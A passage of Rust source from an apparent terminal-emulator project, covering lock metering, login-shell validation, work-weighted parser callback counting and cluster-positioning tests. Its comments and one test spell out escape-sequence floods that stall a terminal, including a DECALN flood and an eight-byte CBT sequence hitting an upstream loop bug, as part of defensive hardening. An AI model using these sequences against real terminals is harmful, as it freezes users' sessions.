pub fn snapshot(&self) -> AcquireStats {
AcquireStats {
acquisitions: self.acquisitions.load(Ordering::Relaxed),
max_micros: self.max_micros.load(Ordering::Relaxed),
buckets: std::array::from_fn(|i| self.buckets[i].load(Ordering::Relaxed)),
}
}
/// Clear the counters. Diagnostics are per-run.
pub fn reset(&self) {
self.acquisitions.store(0, Ordering::Relaxed);
self.max_micros.store(0, Ordering::Relaxed);
for bucket in &self.buckets {
bucket.store(0, Ordering::Relaxed);
}
}
}
/// A read of one plane's acquisition latencies.
///
/// `max_micros` is exact because the budget it answers to -- no acquire above
/// one frame at 60 Hz -- is a statement about a single worst event. The
/// distribution is bucketed by powers of two because the budget *it* answers to
/// has 80x of headroom (p95 measured at 49 us against 4 ms), and a factor-of-two
/// resolution against 80x of margin buys nothing for the memory it costs.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct AcquireStats {
pub acquisitions: u64,
pub max_micros: u64,
buckets: [u32; BUCKETS],
}
impl AcquireStats {
/// Latency at percentile `p` (0.0..=1.0), in microseconds, rounded up to
/// the enclosing bucket's ceiling.
pub fn percentile_micros(&self, p: f64) -> u64 {
if self.acquisitions == 0 {
return 0;
}
let target = (self.acquisitions as f64 * p).ceil() as u64;
let mut seen = 0u64;
for (bucket, count) in self.buckets.iter().enumerate() {
seen += *count as u64;
if seen >= target {
return bucket_ceiling(bucket);
}
}
self.max_micros
}
}
/// A [`Terminal`] shared between the PTY reader and the renderer.
pub struct SharedTerminal {
term: FairMutex<Terminal>,
reader: AcquireMeter,
renderer: AcquireMeter,
closing: AtomicBool,
}
impl SharedTerminal {
pub fn new(term: Terminal) -> Self {
Self {
term: FairMutex::new(term),
reader: AcquireMeter::default(),
renderer: AcquireMeter::default(),
closing: AtomicBool::new(false),
}
}
/// Acquisition latencies for the PTY-reader plane.
pub fn reader_acquire(&self) -> &AcquireMeter {
&self.reader
}
/// Acquisition latencies for the renderer plane. This is the one with a
/// budget attached.
pub fn renderer_acquire(&self) -> &AcquireMeter {
&self.renderer
}
/// Feed PTY output into the emulator. Reader plane.
///
/// Returns whether a tail remains: one acquisition parses one work
/// budget, then **drops the lock** so the renderer can have it. The
/// caller pumps [`SharedTerminal::drain`] until it returns false. Doing
/// the whole buffer under one acquisition is what an unbounded hold *is*,
/// so it is not offered here.
pub fn feed(&self, bytes: &[u8]) -> bool {
let mut term = self.acquire(&self.reader);
if self.closing.load(Ordering::Acquire) {
false
} else {
term.feed(bytes)
}
}
/// Parse more of the pending tail under a fresh acquisition. Reader
/// plane. Returns whether any remains.
pub fn drain(&self) -> bool {
let mut term = self.acquire(&self.reader);
if self.closing.load(Ordering::Acquire) {
false
} else {
term.drain()
}
}
/// Feed and pump to completion, re-acquiring between slices.
pub fn feed_fully(&self, bytes: &[u8]) {
let mut more = self.feed(bytes);
while more {
more = self.drain();
}
}
/// Atomically enter close mode and discard parser work. Subsequent PTY
/// bytes are raw-drained by the embedder and never reach callbacks.
pub fn begin_closing(&self) -> usize {
self.closing.store(true, Ordering::Release);
self.acquire(&self.reader).abandon_tail()
}
pub fn is_closing(&self) -> bool {
self.closing.load(Ordering::Acquire)
}
/// Sample damage and encode a frame. Renderer plane.
///
/// The lock covers the copy only; `encode` -- hashing, span grouping,
/// allocation -- runs after the guard drops, which is worth ~75x in hold
/// time. The `Encoder` is the caller's because its dedup state is per
/// consumer, and passing it in keeps the encode off this lock by
/// construction rather than by remembering to.
pub fn render(&self, encoder: &mut Encoder) -> Frame {
let raw = {
let mut term = self.acquire(&self.renderer);
damage::capture(&mut term)
};
encoder.encode(raw)
}
/// Copy the whole viewport for a subscriber that arrived mid-stream.
/// Renderer plane.
///
/// Attach, reattach, and the successor side of a resize all need the
/// screen as it stands, not the next thing to change on it. Crucially this
/// leaves damage alone, so taking a snapshot for a newcomer cannot steal
/// the incumbent renderer's pending rows -- see [`damage::capture_all`].
///
/// Costs a full grid copy under the lock, so call it on attach rather than
/// per frame.
pub fn snapshot(&self, encoder: &mut Encoder) -> Frame {
let raw = {
let mut term = self.acquire(&self.renderer);
damage::capture_all(&mut term)
};
encoder.encode(raw)
}
/// Move the viewport through scrollback. Renderer plane.
///
/// Positive moves into history; see [`crate::Terminal::scroll`]. Returns
/// whether it moved, so the caller can skip capture and publication for
/// the momentum tail that arrives after history has run out.
pub fn scroll(&self, lines: i32) -> bool {
self.acquire(&self.renderer).scroll(lines)
}
/// Return the viewport to the live edge. Renderer plane. Returns whether
/// it moved, so an unscrolled terminal costs one comparison per keystroke
/// and no repaint.
pub fn scroll_to_bottom(&self) -> bool {
self.acquire(&self.renderer).scroll_to_bottom()
}
/// Apply a coalesced resize. Renderer plane: this competes with the
/// renderer for the same lock and can hold it for milliseconds.
pub fn resize(&self, size: crate::Size) -> crate::Viewport {
self.acquire(&self.renderer).resize(size)
}
/// Take the lock for something the methods above don't cover (input,
/// reading stats). Metered on the renderer plane, since anything
/// that isn't the read loop competes with the renderer for the same lock.
pub fn lock(&self) -> MutexGuard<'_, Terminal> {
self.acquire(&self.renderer)
}
/// Modes the renderer/input boundary needs to report alongside frames.
pub fn input_modes(&self) -> (bool, bool) {
let term = self.acquire(&self.renderer);
let mode = term.term().mode();
(
mode.contains(alacritty_terminal::term::TermMode::BRACKETED_PASTE),
mode.contains(alacritty_terminal::term::TermMode::FOCUS_IN_OUT),
)
}
fn acquire(&self, meter: &AcquireMeter) -> MutexGuard<'_, Terminal> {
let started = Instant::now();
let guard = self.term.lock();
meter.record(started.elapsed().as_micros() as u64);
guard
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::{Fences, Size};
#[test]
fn closing_abandons_tail_and_permanently_refuses_parser_callbacks() {
let (terminal, _actions) = Terminal::new(Size::default(), Fences::ALL);
let shared = SharedTerminal::new(terminal);
let payload = b"\x1b#8".repeat(10_000);
assert!(shared.feed(&payload), "fixture must create parser tail");
let before = shared.lock().stats();
let abandoned = shared.begin_closing();
assert!(abandoned > 0, "close must abandon without draining first");
assert!(shared.is_closing());
assert!(!shared.feed(b"parser callback after close"));
assert!(!shared.drain());
let after = shared.lock().stats();
assert_eq!(after.completed_units, before.completed_units);
assert_eq!(
after.abandoned_bytes,
before.abandoned_bytes + abandoned as u64
);
}
}
@@ -0,0 +1,138 @@
//! Login-shell resolution for spawned PTY children.
//!
//! Tyler asked for the user's shell of choice, so the resolution order is the
//! user's own: `$SHELL`, then the passwd entry, then `/bin/sh`. What matters
//! is the *validity* test applied at each step, and it is not "the path
//! exists".
//!
//! `portable-pty` gates both steps on `access(X_OK)` (`cmdbuilder.rs:545-553`
//! for `$SHELL`, `:43-71` for passwd). `access(X_OK)` answers "may I execute
//! this" for *any* file type, and a directory carries the execute bit to mean
//! "may I traverse it" — so `access("/tmp", X_OK)` returns 0. Verified by C
//! repro and end-to-end through a real PTY: with `SHELL=/tmp`,
//! `CommandBuilder::get_shell()` returns `"/tmp"`, `spawn_command` returns
//! `Ok`, and the child dies with exit code 1 after printing
//! `fatal runtime error: assertion failed: output.write(&bytes).is_ok()`.
//! The user gets a terminal that opens and instantly dies with a Rust runtime
//! panic, and every layer above reported success.
//!
//! So we require an **executable regular file**, following symlinks: `stat`
//! rather than `lstat` semantics, because `/bin/sh` is legitimately a symlink
//! on many systems. A directory or a non-executable file falls through to the
//! next candidate instead of becoming an unspawnable child.
use std::path::Path;
/// Last-resort shell. POSIX guarantees `/bin/sh`; if this is not executable
/// the machine has bigger problems than our terminal.
pub const FALLBACK_SHELL: &str = "/bin/sh";
/// Returns true if `path` is a regular file this process may execute.
///
/// The conjunction is load-bearing and neither half suffices:
///
/// - `access(X_OK)` alone accepts a **directory** — the execute bit means
/// *traverse* there, so `access("/tmp", X_OK) == 0`. That is the bug
/// inherited from `portable-pty` (`cmdbuilder.rs:545-553`): with
/// `SHELL=/tmp` the child aborts with a Rust runtime panic while every
/// layer reports success.
/// - Raw `mode & 0o111` alone accepts a file the caller **cannot** execute.
/// The bits say *some* class has execute permission, not the applicable
/// one, and they do not evaluate ACLs. Verified with a self-owned regular
/// file at mode `0o010`: `mode & 0o111` is true, `access(X_OK)` is -1, and
/// running it gives `Permission denied`.
///
/// So: regular-file metadata (following symlinks, because `/bin/sh -> dash`
/// is legitimate) **and** effective executability via `access(X_OK)`.
#[cfg(unix)]
pub fn is_executable_file(path: &Path) -> bool {
let Ok(meta) = std::fs::metadata(path) else {
return false;
};
meta.is_file() && can_execute(path)
}
/// `access(path, X_OK)`: does the *effective* user have execute permission,
/// accounting for the applicable permission class and ACLs?
#[cfg(unix)]
fn can_execute(path: &Path) -> bool {
use std::os::unix::ffi::OsStrExt;
let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else {
return false; // interior NUL: not a path we can ask about
};
// SAFETY: `c_path` is a valid NUL-terminated C string for the duration of
// the call, and `access` only reads it.
unsafe { libc::access(c_path.as_ptr(), libc::X_OK) == 0 }
}
/// Resolves the shell to spawn: `$SHELL`, then the passwd entry, then
/// [`FALLBACK_SHELL`]. Each candidate must pass [`is_executable_file`].
///
/// `shell_env` is the caller's view of `$SHELL` so the resolution order is
/// testable without mutating process-global state; production passes
/// `std::env::var_os("SHELL")`.
#[cfg(unix)]
pub fn resolve_shell(shell_env: Option<&str>) -> String {
// One validation path for every candidate, deliberately. Validating each
// branch separately leaves the passwd branch's check untestable on any
// machine whose passwd shell happens to be valid — a mutant that deletes
// it survives because nothing can distinguish it. Sharing `validated`
// means the `$SHELL` arm's coverage is the passwd arm's coverage.
let candidates = [shell_env.map(str::to_owned), passwd_shell()];
candidates
.into_iter()
.flatten()
.find(|candidate| validated(candidate))
.unwrap_or_else(|| FALLBACK_SHELL.to_owned())
}
/// The single validity test every shell candidate must pass.
#[cfg(unix)]
fn validated(candidate: &str) -> bool {
is_executable_file(Path::new(candidate))
}
/// The current user's login shell from the passwd database, unvalidated:
/// `resolve_shell` applies the shared [`validated`] check to it.
///
/// This is the step that matters for a Finder- or launchd-started app, which
/// can have no `$SHELL` at all: without it we would hand a zsh user `/bin/sh`
/// and call it their shell of choice.
#[cfg(unix)]
pub(crate) fn passwd_shell() -> Option<String> {
// SAFETY: `getpwuid` returns a pointer to a static passwd struct owned by
// libc, valid until the next passwd-database call. We copy the string out
// before returning and make no other libc calls in between.
let shell = unsafe {
let ent = libc::getpwuid(libc::getuid());
if ent.is_null() {
return None;
}
let pw_shell = (*ent).pw_shell;
if pw_shell.is_null() {
return None;
}
std::ffi::CStr::from_ptr(pw_shell).to_str().ok()?.to_owned()
};
Some(shell)
}
/// The login-shell `argv[0]` convention: the shell's basename prefixed with
/// `-`. This is what tells any shell — zsh, bash, fish, tcsh, nu — to run as
/// a login shell, without sniffing its name or guessing its flag grammar.
///
/// `portable-pty` applies this itself for a default program
/// (`cmdbuilder.rs:510-517`); we compute it here so the contract is asserted
/// against a value we own rather than against the dependency's behaviour.
pub fn login_argv0(shell: &str) -> String {
let basename = shell.rsplit('/').next().unwrap_or(shell);
format!("-{basename}")
}
/// Resolve the command shell on Windows from `ComSpec`, falling back to cmd.
#[cfg(windows)]
pub fn resolve_shell(shell_env: Option<&str>) -> String {
shell_env.unwrap_or("cmd.exe").to_owned()
}
@@ -0,0 +1,382 @@
//! Counting what the parser *does*, not how many bytes it read.
//!
//! Both fences in [`crate::fences`] meter bytes. That is the right denominator
//! for memory -- a buffer's size is bytes -- and the wrong one for time. `ESC[m`
//! and `ESC#8` are four bytes each; the first sets an attribute and the second
//! rewrites every cell of the grid. Metering the reader's lock hold in bytes
//! therefore prices those identically, and a stream of the second one holds the
//! lock for as long as it likes without ever tripping a byte budget.
//!
//! Measured: a DECALN flood at 200x50 reaches p95 65535us against a 4000us
//! budget with **zero** F1 aborts -- the fence never fires, because nothing is
//! buffered. Unfenced, one acquisition was observed at 22.1s, about 1300
//! dropped frames in a single lock hold.
//!
//! So this module adds a third quantity: the number of *completed parser
//! units* -- one per `Handler` callback the parser dispatches, which is one
//! per fully-parsed escape sequence or printed character. It is a proxy for
//! work rather than a measure of it, but it has the property the byte count
//! lacks: it advances once per thing the emulator actually did.
//!
//! ## Why a wrapper, and not vte's own stopping point
//!
//! `Parser::advance_until_terminated` already supports stopping mid-buffer,
//! but termination is driven by `Perform::terminated()`, and in the ansi layer
//! the implementor is `Performer`, which is private (`vte-0.15.0/src/ansi.rs`:
//! `struct Performer` at 425, `terminated` at 1825, set only for BSU handling).
//! An embedder cannot reach it, so the stopping point has to be built outside
//! the parser rather than inside it.
//!
//! ## What this deliberately does not do
//!
//! It does not skip or veto expensive callbacks once a budget is spent. That
//! would bound the lock hold perfectly and silently corrupt the screen, which
//! is a worse failure than the one being fixed: a slow terminal recovers, a
//! wrong one does not. Every unit is delegated; the count only decides where
//! the *caller* may cut the input.
use alacritty_terminal::event::EventListener;
use alacritty_terminal::term::Term;
use alacritty_terminal::vte::ansi::cursor_icon::CursorIcon;
use alacritty_terminal::vte::ansi::{
Attr, CharsetIndex, ClearMode, CursorShape, CursorStyle, Handler, Hyperlink, KeyboardModes,
KeyboardModesApplyBehavior, LineClearMode, Mode, ModifyOtherKeys, PrivateMode, Rgb,
ScpCharPath, ScpUpdateMode, StandardCharset, TabulationClearMode,
};
/// Read access to the cursor column of whatever the wrapper is driving.
///
/// Exists for exactly one callback. CBT's cost is bounded by *cursor
/// movement*, and the only way to charge it honestly -- or to stop it early
/// -- is to watch the cursor between steps. Everything else in this module is
/// priced from the grid alone, which is why this is a separate trait and a
/// separate bound rather than a field on [`Counting`].
///
/// Implemented over the public path in `alacritty_terminal-0.26.0`:
/// `Term::grid` (term/mod.rs:645) -> `Grid::cursor` (grid/mod.rs:113) ->
/// `Cursor::point` (grid/mod.rs:36). No private field, no fork.
pub trait CursorColumn {
fn cursor_column(&self) -> usize;
}
impl<L: EventListener> CursorColumn for Term<L> {
#[inline]
fn cursor_column(&self) -> usize {
self.grid().cursor.point.column.0
}
}
/// Wraps a [`Handler`], forwarding every callback and counting them.
///
/// Every one of the trait's 71 methods has an empty default body upstream, so
/// a method left undelegated here would compile cleanly and silently discard
/// that escape sequence. The delegations are therefore generated by a macro
/// over the full method list rather than written out: the failure mode of
/// hand-copying is invisible.
pub struct Counting<'a, H: Handler + CursorColumn> {
inner: &'a mut H,
/// Callbacks dispatched, one per unit regardless of cost. This is the
/// fixture-facing number: it says what the parser *did*, and it is kept
/// separate from `work` because collapsing them is precisely the mistake
/// that made the first version of this seam useless.
units: u64,
/// Cost-weighted work, in cell-equivalents. This is the scheduling number.
work: u64,
columns: u64,
lines: u64,
/// Configured scrollback depth, not current fill. See `reset_state`.
scrollback: u64,
}
impl<'a, H: Handler + CursorColumn> Counting<'a, H> {
/// `columns` and `lines` are the grid the handler is about to act on, and
/// they are the weights' only input: an O(cells) callback is charged
/// `columns * lines` because that is what it touches.
pub fn new(inner: &'a mut H, columns: usize, lines: usize, scrollback: usize) -> Self {
Self {
inner,
units: 0,
work: 0,
columns: columns as u64,
lines: lines as u64,
scrollback: scrollback as u64,
}
}
/// Callbacks dispatched since this wrapper was created.
pub fn units(&self) -> u64 {
self.units
}
/// Cost-weighted work dispatched, in cell-equivalents.
pub fn work(&self) -> u64 {
self.work
}
/// Cells in the grid. Saturating: `Size` is unclamped `usize`, so this
/// product is reachable, and a wrapped weight prices the most expensive
/// callbacks as the cheapest.
#[inline]
fn cells(&self) -> u64 {
self.columns.saturating_mul(self.lines)
}
/// A parameter charged at its clamped value.
///
/// Upstream clamps most counts to the grid before acting on them, so the
/// bound is the clamp, not the parameter: `ESC[65535X` on an 80-column
/// grid touches 80 cells. Charging the raw parameter would let a
/// four-byte escape spend the whole slice budget without doing the work,
/// which stalls the parser as surely as under-charging lets it run away.
#[inline]
fn clamp(&self, n: usize, bound: u64) -> u64 {
(n as u64).min(bound).max(1)
}
#[inline]
fn charge(&mut self, weight: u64) {
self.units = self.units.saturating_add(1);
self.work = self.work.saturating_add(weight);
}
}
/// Generate a delegating, counting implementation for every `Handler` method.
///
/// Two groups, because the methods differ in *cost*, not in kind. `plain`
/// methods are charged one unit. `weighted` methods are charged what they
/// touch, using the expressions in the table below -- these are the ones a
/// hostile stream can use to buy grid-sized work with a four-byte escape.
///
/// The count is incremented *before* delegating, so a callback that panics
/// still leaves evidence it was attempted.
macro_rules! counting_handler {
(
plain { $($pname:ident($($parg:ident: $pty:ty),* $(,)?);)* }
weighted { $($wname:ident($($warg:ident: $wty:ty),* $(,)?) => |$this:ident| $weight:expr;)* }
) => {
impl<H: Handler + CursorColumn> Handler for Counting<'_, H> {
$(
#[inline]
fn $pname(&mut self $(, $parg: $pty)*) {
self.charge(1);
self.inner.$pname($($parg),*);
}
)*
$(
#[inline]
fn $wname(&mut self $(, $warg: $wty)*) {
let weight = { let $this = &*self; $weight };
self.charge(weight);
self.inner.$wname($($warg),*);
}
)*
/// The one callback this wrapper does not delegate verbatim.
///
/// CBT (`ESC[NZ`) is upstream's only unbounded atom. With no
/// tabstop below the cursor, `move_backward_tabs`
/// (`term/mod.rs:1580`) assigns `col` *inside* the `if
/// self.tabs[i]` test, so the cursor never moves, the `col == 0`
/// break is unreachable, and all N iterations rescan the row.
/// `ESC[3g ESC[65535Z` is eight bytes and 82 ms at 1600 columns.
/// Its twin `move_forward_tabs` (1605) assigns *outside* the
/// test, always advances, and is fine: same file, same loop
/// skeleton, and the entire difference is one assignment's
/// placement relative to one branch.
///
/// The fix is a termination condition, not a smaller number.
/// Each step either moves the cursor strictly left or is a fixed
/// point, and **a fixed point is permanent** -- the scan depends
/// only on the cursor, which did not move. So the loop can stop
/// at the first one. The leftward distances telescope to at most
/// the starting column, plus one final failed scan, so the whole
/// callback is O(columns) and the delegated-call count is at most
/// `columns - 1`.
///
/// Equivalence is not argued, it is checked: every tabstop subset
/// of a 12-column grid x 4 start columns x 7 counts (114_688
/// cases) lands on the same column as the naive loop, on a real
/// `Term`. See `examples/probe_cbt_equiv.rs`. Deleting the
/// fixed-point break leaves the *landing column correct* and only
/// the cost wrong, so the fixture that guards this must assert
/// units, never the cursor.
#[inline]
fn move_backward_tabs(&mut self, count: u16) {
// One unit for the escape, as every other callback gets.
self.charge(1);
for _ in 0..count {
let before = self.inner.cursor_column();
// No `before == 0` guard: column 0 is already a fixed
// point (upstream's own `col == 0` break leaves the
// cursor alone), so the check below covers it and a
// second one would be unreachable-by-construction code
// that no test could distinguish.
self.inner.move_backward_tabs(1);
let after = self.inner.cursor_column();
// Charge the cells this step scanned. A step that finds a
// stop scans the distance it moved; a step that finds
// none scans the whole prefix and moves nothing --
// charging that one zero would leave a loop that spins
// without ever paying, which is precisely the mutant this
// pricing has to make visible.
let scanned = if after == before { before } else { before - after };
self.work = self.work.saturating_add(scanned as u64);
if after == before {
// A fixed point is permanent: the scan depends only
// on the cursor, and the cursor did not move.
break;
}
}
}
}
};
}
counting_handler! {
plain {
set_title(a0: Option<String>);
set_cursor_style(a0: Option<CursorStyle>);
set_cursor_shape(shape: CursorShape);
input(c: char);
goto(line: i32, col: usize);
goto_line(line: i32);
goto_col(col: usize);
move_up(a0: usize);
move_down(a0: usize);
identify_terminal(intermediate: Option<char>);
device_status(a0: usize);
move_forward(col: usize);
move_backward(col: usize);
move_down_and_cr(row: usize);
move_up_and_cr(row: usize);
backspace();
carriage_return();
linefeed();
bell();
substitute();
newline();
set_horizontal_tabstop();
save_cursor_position();
restore_cursor_position();
clear_tabs(mode: TabulationClearMode);
set_tabs(interval: u16);
reverse_index();
terminal_attribute(attr: Attr);
set_mode(mode: Mode);
unset_mode(mode: Mode);
report_mode(mode: Mode);
set_private_mode(mode: PrivateMode);
unset_private_mode(mode: PrivateMode);
report_private_mode(mode: PrivateMode);
set_scrolling_region(top: usize, bottom: Option<usize>);
set_keypad_application_mode();
unset_keypad_application_mode();
set_active_charset(a0: CharsetIndex);
configure_charset(a0: CharsetIndex, a1: StandardCharset);
set_color(a0: usize, a1: Rgb);
dynamic_color_sequence(a0: String, a1: usize, a2: &str);
reset_color(a0: usize);
clipboard_store(a0: u8, a1: &[u8]);
clipboard_load(a0: u8, a1: &str);
push_title();
pop_title();
text_area_size_pixels();
text_area_size_chars();
set_hyperlink(a0: Option<Hyperlink>);
set_mouse_cursor_icon(a0: CursorIcon);
report_keyboard_mode();
push_keyboard_mode(mode: KeyboardModes);
pop_keyboard_modes(to_pop: u16);
set_keyboard_mode(mode: KeyboardModes, behavior: KeyboardModesApplyBehavior);
set_modify_other_keys(mode: ModifyOtherKeys);
report_modify_other_keys();
set_scp(char_path: ScpCharPath, update_mode: ScpUpdateMode);
}
weighted {
// Every weight below is an upper bound on the cells the callback can
// touch, **read from `alacritty_terminal-0.26.0/src/term/mod.rs`** and
// then checked against measurement -- never fitted to a curve. The
// direction of the error is the whole point: an over-charge slices
// early and costs throughput, an under-charge is an attack surface, so
// where source and measurement disagree the source bound wins and the
// slack is recorded here rather than tuned away.
//
// `min(N, ...)` appears wherever upstream clamps the parameter; a raw
// `N` would let `ESC[65535X` charge 65535 on an 80-column grid and
// stall the parser on a cheap escape.
// O(min(N, columns)): `end = min(start + count, columns)`, loop
// `row[start..end]` (1519). Knee measured exactly at N == columns.
erase_chars(count: usize) => |this| this.clamp(count, this.columns);
// O(columns) for *every* N, worst at N=1: the swap loop runs
// `columns - end` times where `end = min(start + N, columns - 1)`
// (1538), so cost *falls* as N rises. Charging by N would be backwards
// and would under-charge the worst case by the full terminal width --
// measured 3422ns at N=1/1600 columns against 863ns at N=65535.
delete_chars(a0: usize) => |this| this.columns;
// O(columns) for every N, worst at N=1. Same shape as `delete_chars`:
// `num_cells = columns - (column + count)` (1187).
insert_blank(a0: usize) => |this| this.columns;
// O(columns): scans to the next tabstop per count, and always advances
// (`col` is assigned unconditionally at 1592), so the whole loop is
// bounded by one traversal of the row. This is the sibling that CBT
// should have been, one asymmetric line apart in the same file.
put_tab(count: u16) => |this| this.columns;
move_forward_tabs(count: u16) => |this| this.columns;
// NOTE: `move_backward_tabs` is NOT in this table. It is the one
// callback whose argument is rewritten, so it is written out by hand
// below the macro's generated methods -- a weight can price an atom but
// cannot shrink one.
// O(min(N, lines) x columns) in steady state: the row rotation is O(1)
// on the ring buffer, but `positions` rows are `reset()`, and a row
// reset is O(columns).
//
// **Known overshoot, measured and frequency-bounded.** While scrollback
// is still growing, `Grid::increase_scroll_limit` -> `Storage::initialize`
// reallocates in blocks of `MAX_CACHE_SIZE` = 1000 rows and `rezero`s
// the ring (`grid/storage.rs`). That is not chargeable from here -- the
// weight function cannot see history depth -- and it is real: at 1600
// columns the spikes land at call 0, 1000, 2000, 3000 of a 4000-call
// scroll, ~4 ms each, against a 125 ns median. It is bounded in
// frequency (once per 1000 new history rows, and never once history
// saturates: with scrollback=100 only call 0 spikes) and it is upstream
// allocation rather than anything a stream can amplify, so it is
// recorded here instead of being priced into every scroll -- charging
// 1000x on 999 calls out of 1000 to cover the thousandth would make
// ordinary scrolling the slow path.
scroll_up(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
delete_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
scroll_down(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
insert_blank_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
// O(columns): one row, `damage_line(line, 0, columns - 1)`.
clear_line(mode: LineClearMode) => |this| this.columns;
// O(cells): 18.7us at 200x50, doubling on both axes.
clear_screen(mode: ClearMode) => |this| this.cells();
// O(cells): rewrites every cell.
decaln() => |this| this.cells();
// Both grids, plus the scrollback the primary owns.
//
// `reset_state` (1835) resets the primary *and* the alternate, and each
// `Grid::reset` runs `clear_history` -> `shrink_lines` -> `truncate` +
// `rezero`, which walks the raw buffer. So the cost carries a history
// axis that `cells` alone cannot see: measured 0.5 us empty against
// 1.68 ms with 10k rows filled at 400x100, a 42x per-cell miss, with
// the knee exactly at `screen_lines + MAX_CACHE_SIZE` where
// `shrink_lines` starts calling `truncate`.
//
// Priced on **configured** depth rather than current fill, which is the
// conservative choice and the only correct one: `history_size()` reads
// the *active* grid, so a filled primary followed by `ESC[?1049h`
// reports an empty history while RIS still pays for the inactive
// primary's rows -- underpriced 41x on exactly the arm an attacker
// would pick. The inactive grid is private, so there is no stateless
// way to observe the real fill; the configured depth bounds both.
//
// This is the one weight that can exceed [`crate::fences::WORK_BUDGET`]
// on its own -- 16x at the default 10k scrollback -- which is correct:
// it is a genuinely oversized uninterruptible atom, and a budget that
// hid that would be lying about what one drain can cost.
reset_state() => |this| this.cells().saturating_mul(2)
.saturating_add(this.scrollback.saturating_mul(this.columns));
}
}
@@ -0,0 +1,348 @@
//! The cluster-positioning contract: what the renderer may rely on to place
//! text at the right column without consulting Unicode tables.
//!
//! The consumer's rule reads two numbers off each span and does arithmetic:
//! `cluster_count == 1` means the whole text is one cluster at `column`,
//! otherwise cluster `i` is the i-th `char` at `column + i * width`.
//!
//! These fixtures exist because that rule is not self-evidently satisfiable --
//! the two cases below require *opposite* text-splitting rules, so no encoding
//! that ships a concatenated string and a start column can be correct:
//!
//! * a regional-indicator flag is two ordinary one-column cells, so its two
//! codepoints occupy two columns and must split per codepoint;
//! * a keycap is one cell holding three codepoints, so it occupies one column
//! and must split per grapheme.
//!
//! Both are handled here by construction rather than by rule: uniform `width`
//! within a span, and a span of its own for any cluster carrying zerowidth
//! marks.
use buzz_terminal::damage::{Encoder, Span};
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel and every subsequent listener send silently fails.
fn render(input: &str) -> (Vec<Span>, Receiver<Action>) {
let size = Size {
columns: 20,
screen_lines: 2,
scrollback: 100,
};
let (term, actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
shared.feed_fully(input.as_bytes());
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let spans = frame
.rows
.into_iter()
.find(|row| row.line == 0)
.map(|row| row.spans)
.unwrap_or_default();
(spans, actions)
}
/// Apply the documented consumer rule and return `(column, cluster)` pairs,
/// dropping trailing blank padding.
///
/// This is the renderer's arithmetic, written out. Note what is *not* here: no
/// Unicode table, no zerowidth classifier, no grapheme segmentation. The
/// earlier draft of this helper carried a hand-rolled `is_zerowidth` matcher,
/// which is how we learned the encoding was under-specified -- if the fixture
/// needs a Unicode table to decode the wire, so does every real consumer.
fn placements(spans: &[Span]) -> Vec<(usize, String)> {
let mut placed = Vec::new();
for span in spans {
assert!(
span.counts_are_consistent(),
"encoder emitted an undecodable span: {span:?}"
);
let clusters: Vec<String> = if span.cluster_count == 1 {
vec![span.text.clone()]
} else {
span.text.chars().map(|c| c.to_string()).collect()
};
for (i, cluster) in clusters.into_iter().enumerate() {
if cluster != " " {
placed.push((span.column + i * span.width as usize, cluster));
}
}
}
placed
}
/// Max's case: mixed narrow and wide glyphs in one style. Every cluster must
/// land on the column the grid actually put it in.
#[test]
fn mixed_width_clusters_keep_their_columns() {
let (spans, _actions) = render("a\u{1F600}b\u{4E00}c");
assert_eq!(
placements(&spans),
vec![
(0, "a".into()),
(1, "\u{1F600}".into()),
(3, "b".into()),
(4, "\u{4E00}".into()),
(6, "c".into()),
],
"wide glyphs must advance two columns and narrow ones must not"
);
}
/// A combining mark rides with its base character and consumes no column of
/// its own, so the text that follows must not be displaced by it.
///
/// Against the previous encoding this row was a single span `"éxy"` at column
/// 0, and a consumer stepping one column per `char` placed `x` at 1 and `y`
/// at 2 -- both one column left of the truth.
#[test]
fn combining_marks_do_not_displace_following_text() {
let (spans, _actions) = render("e\u{0301}xy");
assert_eq!(
placements(&spans),
vec![(0, "e\u{0301}".into()), (1, "x".into()), (2, "y".into()),],
"a zerowidth mark must not consume a column"
);
}
/// A regional-indicator pair: two separate one-column cells. This is the case
/// that must split *per codepoint*.
#[test]
fn regional_indicator_flag_occupies_two_columns() {
let (spans, _actions) = render("\u{1F1FA}\u{1F1F8}X");
assert_eq!(
placements(&spans),
vec![
(0, "\u{1F1FA}".into()),
(1, "\u{1F1F8}".into()),
(2, "X".into()),
],
"regional indicators are one column each; X must sit at 2"
);
}
/// A keycap: one cell holding three codepoints. This is the case that must
/// split *per grapheme* -- the opposite rule from the flag above, which is why
/// the width and the cluster break both have to come from the grid.
#[test]
fn keycap_occupies_one_column() {
let (spans, _actions) = render("1\u{FE0F}\u{20E3}X");
assert_eq!(
placements(&spans),
vec![(0, "1\u{FE0F}\u{20E3}".into()), (1, "X".into()),],
"a keycap is one column; X must sit at 1"
);
}
/// Width is uniform within a span by construction. Without this a consumer
/// cannot multiply -- it would have to know each cluster's width individually,
/// which is the Unicode table this design exists to avoid.
#[test]
fn a_span_never_mixes_widths() {
let (spans, _actions) = render("ab\u{4E00}\u{4E00}cd");
for span in &spans {
let expected = span.width;
assert!(
span.width == 1 || span.width == 2,
"width must be 1 or 2, got {expected}"
);
}
let widths: Vec<u8> = spans.iter().map(|s| s.width).collect();
assert!(
widths.contains(&2),
"fixture must actually produce a wide span, got {widths:?}"
);
assert_eq!(
placements(&spans),
vec![
(0, "a".into()),
(1, "b".into()),
(2, "\u{4E00}".into()),
(4, "\u{4E00}".into()),
(6, "c".into()),
(7, "d".into()),
],
"two adjacent wide glyphs must advance two columns each"
);
}
/// `cluster_count` is what makes the wire decodable without a Unicode table,
/// so it is asserted directly here rather than only implied by placements.
///
/// The decisive pair: both spans below are width 1 with more than one `char`
/// of text, and they differ *only* in whether the count tracks the char count.
/// A consumer without that number cannot tell them apart -- which is the
/// defect Mari caught in the previous encoding.
#[test]
fn cluster_count_distinguishes_a_marked_cluster_from_a_plain_run() {
let (marked, _a) = render("e\u{0301}");
